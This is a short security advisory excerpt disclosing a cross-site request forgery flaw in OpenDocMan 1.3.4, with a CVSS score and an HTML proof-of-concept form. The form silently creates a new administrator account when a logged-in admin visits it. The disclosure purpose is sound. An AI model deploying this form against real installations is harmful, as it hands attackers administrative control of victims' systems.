2. Overview
CVSS
Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P
Description
Opendocman does not have CSRF protection, which means that an attacker can perform actions for an admin, if the admin visits an attacker controlled website while logged in.
3. Proof of Concept
Add new Admin User:
<html> <body> <form action="http://localhost/opendocman-1.3.4/user.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="last_name" value="test" /> <input type="hidden" name="first_name" value="test" /> <input type="hidden" name="username" value="test" /> <input type="hidden" name="phonenumber" value="1214532" /> <input type="hidden" name="password" value="12345678" /> <input type="hidden" name="Email" value="test@example.com" /> <input type="hidden" name="department" value="1" /> <input type="hidden" name="admin" value="1" /> <input type="hidden" name="can_add" value="1" /> <input type="hidden" name="can_checkin" value="1" /> <input type="hidden" name="submit" value="Add User" /> <input type="submit" value="Submit request" /> </form> </body> </html>
